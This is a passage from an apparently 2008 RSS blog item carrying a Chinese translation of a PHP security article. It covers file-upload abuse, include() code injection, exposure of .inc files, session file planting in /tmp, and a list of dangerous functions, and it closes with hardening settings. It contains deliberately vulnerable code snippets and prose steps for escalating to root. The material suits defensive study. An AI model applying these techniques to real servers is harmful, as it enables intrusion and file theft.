<br>上面的表单数据正好满足了PHP程序所期望的变量，但是这时PHP程序不再处理上载的文件，而是处理&quot;/etc/passwd&quot;（通常会导致内容暴露）。这种攻击可以用于暴露任何敏感文件的内容。 <br>我 在前面已经说了，新版本的PHP使用HTTP_POST_FILES[]来决定上载文件，同时也提供了很多函数来解决这个问题，例如有一个函数用来判断某 个文件是不是实际上载的文件。这些函数很好的解决了这个问题，但是实际上肯定有很多PHP程序仍然使用旧的方法，很容易受到这种攻击。 <br>作为文件上载的攻击方法的一个变种，我们看一下下面的一段代码： <br>&lt;?php <br>if (file_exists($theme)) // Checks the file exists on the local system (no remote files) <br>include(&quot;$theme&quot;); <br>?&gt; <br>如 果攻击者可以控制&quot;$theme&quot;的话，很显然它可以利用&quot;$theme&quot;来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令， 但是他无法使用远程文件，因此，他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的，但是文件上载帮了我们这个忙，如果攻击者先在本地 机器上创建一个包含PHP代码的文件，然后创建一个包含名为&quot;theme&quot;的文件域的表单，最后用这个表单通过文件上载把创建的包含PHP代码的文件提交 给上面的代码，PHP就会把攻击者提交的文件保存起来，并把&quot;$theme&quot;的值设置为攻击者提交的文件，这样file_exists()函数会检查通 过，攻击者的代码也将执行。 <br>获得执行任意指令的能力之后，攻击者显然想提升权限或者是扩大战果，而这又需要一些服务器上没有的工具 集，而文件上载又一次帮了我们这个忙。攻击者可以使用文件上载功能上载工具，把她们存在服务器上，然后利用他们执行指令的能力，使用chmod()改变文 件的权限，然后执行。例如：攻击者可以绕过防火墙或IDS上载一个本地root攻击程序，然后执行，这样就获得了root权限。 <br><br>[库文件] <br><br>正如我们前面讨论的那样，include()和require()主要是为了支持代码库，因为我们一般是把一些经常使用的函数放到一个独立的文件中，这个独立的文件就是代码库，当需要使用其中的函数时，我们只要把这个代码库包含到当前的文件中就可以了。 <br>最 初，人们开发和发布PHP程序的时候，为了区别代码库和主程序代码，一般是为代码库文件设置一个&quot;.inc&quot;的扩展名，但是他们很快发现这是一个错误，因 为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时，我们就会得到该文件的源代码，这是因为当把PHP作为 Apache的模块使用时，PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的，一般是 &quot;.php&quot;， &quot;.php3&quot;和&quot;.php4&quot;。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中，那么远程攻击者很容易得到这些信息。 <br>最简单的解决方法就是给每个文件都指定一个PHP文件的扩展名，这样可以很好的防止泄露源代码的问题，但是又产生了新的问题，通过请求这个文件，攻击者可能使本该在上下文环境中运行的代码独立运行，这可能导致前面讨论的全部攻击。 <br>下面是一个很明显的例子： <br>In main.php: <br>&lt;?php <br>$libDir = &quot;/libdir&quot;; <br>$langDir = &quot;$libdir/languages&quot;; <br>... <br>include(&quot;$libdir/loadlanguage.php&quot;: <br>?&gt; <br>In libdir/loadlanguage.php: <br>&lt;?php <br>... <br>include(&quot;$langDir/$userLang&quot;); <br>?&gt; <br>当 &quot;libdir/loadlanguage.php&quot; 被&quot;main.php&quot;调用时是相当安全的，但是因为&quot;libdir/loadlanguage&quot; 具有&quot;.php&quot;的扩展名，因此远程攻击者可以直接请求 这个文件，并且可以任意指定&quot;$langDir&quot;和&quot;$userLang&quot;的值。 <br><br>[Session文件] <br><br>PHP 4 或更新的版本提供了对sessions的支持，它的主要作用是在PHP程序中保存页与页之间的状态信息。例如，当一个用户登陆进入网站，他登陆了这个事 实以及谁登陆进入这个网站都被保存在session中，当他在网站中到处浏览时，所有的PHP代码都可以获得这些状态信息。 <br>事实上， 当一个session启动时（实际上是在配置文件中设置为在第一次请求时自动启动），就会生成一个随机的&quot;session id&quot;，如果远程浏览器总是在发送请求时提交这个&quot;session id&quot;的话，session就会一直保持。这通过Cookie很容易实现，也可以通过在每页提交一个表单变量（包含&quot;session id&quot;）来实现。PHP程序可以用session注册一个特殊的变量，它的值会在每个PHP脚本结束后存在session文件中，也会在每个PHP脚本开 始前加载到变量中。下面是一个简单的例子： <br>&lt;?php <br>session_destroy(); // Kill any data currently in the session <br>$session_auth = &quot;shaun&quot;; <br>session_register(&quot;session_auth&quot;); // Register $session_auth as a session variable <br>?&gt; <br>新版本的PHP都会自动把&quot;$session_auth&quot;的值设置为&quot;shaun&quot;，如果它们被修改的话，以后的脚本都会自动接受修改后的值，这对无状态的Web来说的确是种很不错的工具，但是我们也应该小心。 <br>一个很明显的问题就是确保变量的确来自session，例如，给定上面的代码，如果后续的脚本是下面这样的话： <br>&lt;?php <br>if (!empty($session_auth)) <br>// Grant access to site here <br>?&gt; <br>上 面的代码假定如果&quot;$session_auth&quot;被置位的话，就是从session，而不是从用户输入来置位的，如果攻击者通过表单输入来置位的话，他就 可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法，一旦变量被放进了session，就会覆盖任何表单输入。 <br>Session 数据一般是保存在文件中（位置是可配置的，一般是&quot;/tmp&quot;），文件名一般是类似 &quot;sess_&lt;session id&gt;&quot;的形式，这个文件包含变量名称，变量类型，变量值和一些其它的数据。在多主机系统中，因为文件是以运行Web服务器的用户身份（一般是 nobody）保存的，因此恶意的站点拥有者就可以通过创建一个session文件来获得对其它站点的访问，甚至可以检查session文件中的敏感信 息。 <br>Session机制也为攻击者把自己的输入保存在远程系统的文件中提供了另一个方便的地方，对于上面的例子来说，攻击者需要在远 程系统放置一个包含PHP代码的文件，如果不能利用文件上载做到的话，他通常会利用session为一个变量按照自己的意愿赋一个值，然后猜测 session文件的位置，而他知道文件名是&quot;php&lt;session id&gt;&quot;，所以只需猜测目录，而目录一般就是 &quot;/tmp&quot;。 <br>另外，攻击者可以任意指定&quot;session id&quot;（例如&quot;hello&quot;），然后用这个&quot;session id&quot;创建一个session文件（例如&quot;/tmp/sess_hello&quot;），但是&quot;session id&quot;只能是字母和数字组合。 <br><br>[数据类型] <br><br>PHP 具有比较松散的数据类型，变量的类型依赖于它们所处的上下文环境。例如：&quot;$hello&quot;开始是字符串变量，值为&quot;&quot;，但是在求值时，就变成了整形变量 &quot;0&quot;，这有时可能会导致一些意想不到的结果。如果&quot;$hello&quot;的值为&quot;000&quot;还是为&quot;0&quot;是不同的，empty()返回的结果也不会为真。 <br>PHP中的数组是关联数组，也就是说，数组的索引是字符串型的。这意味着&quot;$hello[&quot;000&quot;]&quot;和&quot;$hello[0]&quot;也是不同的。 <br>开发程序的时候应该仔细地考虑上面的问题，例如，我们不应该在一个地方测试某个变量是否为&quot;0&quot;，而在另外的地方使用empty()来验证。 <br><br>[容易出错的函数] <br><br>我们在分析PHP程序中的漏洞时，如果能够拿到源代码的话，那么一份容易出错的函数列表则是我们非常需要的。如果我们能够远程改变这些函数的参数的话，那么我们就很可能发现其中的漏洞。下面是一份比较详细的容易出错的函数列表： <br><br>&lt;PHP代码执行&gt; <br><br>require()：读取指定文件的内容并且作为PHP代码解释 <br>include()：同上 <br>eval()：把给定的字符串作为PHP代码执行 <br>preg_replace()：当与&quot;/e&quot;开关一起使用时，替换字符串将被解释为PHP代码 <br><br>&lt;命令执行&gt; <br><br>exec()：执行指定的命令，返回执行结果的最后一行 <br>passthru()：执行指定命令，返回所有结果到客户浏览器 <br>``：执行指定命令，返回所有结果到一个数组 <br>system()：同passthru()，但是不处理二进制数据 <br>popen()：执行指定的命令，把输入或输出连接到PHP文件描述符 <br><br>&lt;文件泄露&gt; <br><br>fopen()：打开文件，并对应一个PHP文件描述符 <br>readfile()：读取文件的内容，然后输出到客户浏览器 <br>file()：把整个文件内容读到一个数组中 <br>译者注：其实这份列表还不是很全，比如&quot;mail()&quot;等命令也可能执行命令，所以需要自己补充一下。 <br><br>[如何增强PHP的安全性]<br><br>我在上面介绍的所有攻击对于缺省安装的PHP 4都可以很好的实现，但是我已经重复了很多次，PHP的配置非常灵活，通过配置一些PHP选项，我们完全可能抵抗其中的一些攻击。下面我按照实现的难度对一些配置进行了分类： <br>*低难度 <br>**中低难度 <br>***中高难度 <br>****高难度 <br>上面的分类只是个人的看法，但是我可以保证，如果你使用了PHP提供的所有选项的话，那么你的PHP将是很安全的，即使是第三方的代码也是如此，因为其中很多功能已经不能使用。 <br>**** 设置&quot;register_globals&quot;为&quot;off&quot; <br>这 个选项会禁止PHP为用户输入创建全局变量，也就是说，如果用户提交表单变量&quot;hello&quot;，PHP不会创建&quot;$ hello&quot;，而只会创建 &quot;HTTP_GET/POST_VARS[&#39;hello&#39;]&quot;。这是PHP中一个极其重要的选项，关闭这个选项，会给编程带来很 大的不便。 <br>*** 设置&quot;safe_mode&quot;为&quot;on&quot; <br>打开这个选项，会增加如下限制： <br>1． 限制哪个命令可以被执行 <br>2． 限制哪个函数可以被使用 <br>3． 基于脚本所有权和目标文件所有权的文件访问限制 <br>4． 禁止文件上载功能 <br>这对于ISP来说是一个伟大的选项，同时它也能极大地改进PHP的安全性。 <br>** 设置&quot;open_basedir&quot; <br>这个选项可以禁止指定目录之外的文件操作，有效地消除了本地文件或者是远程文件被include()的攻击，但是仍需要注意文件上载和session文件的攻击。 <br>** 设置&quot;display_errors&quot;为&quot;off&quot;，设置&quot;log_errors&quot;为&quot;on&quot; <br>这个选项禁止把错误信息显示在网页中，而是记录到日志文件中，这可以有效的抵制攻击者对目标脚本中函数的探测。 <br>* 设置&quot;allow_url_fopen&quot;为&quot;off&quot; <br>这个选项可以禁止远程文件功能，极力推荐！
		<br><br><link href="http://qmsqlwebshell.7766.org/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1069]]></link>
		<guid isPermaLink="false"><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1069]]></guid>
    <dc:subject><![CDATA[技术]]></dc:subject>
    <dc:creator><![CDATA[Admin]]></dc:creator>
    <dc:date>2008-07-29T22:01:28Z</dc:date>
  </item>

  </channel>
</rss>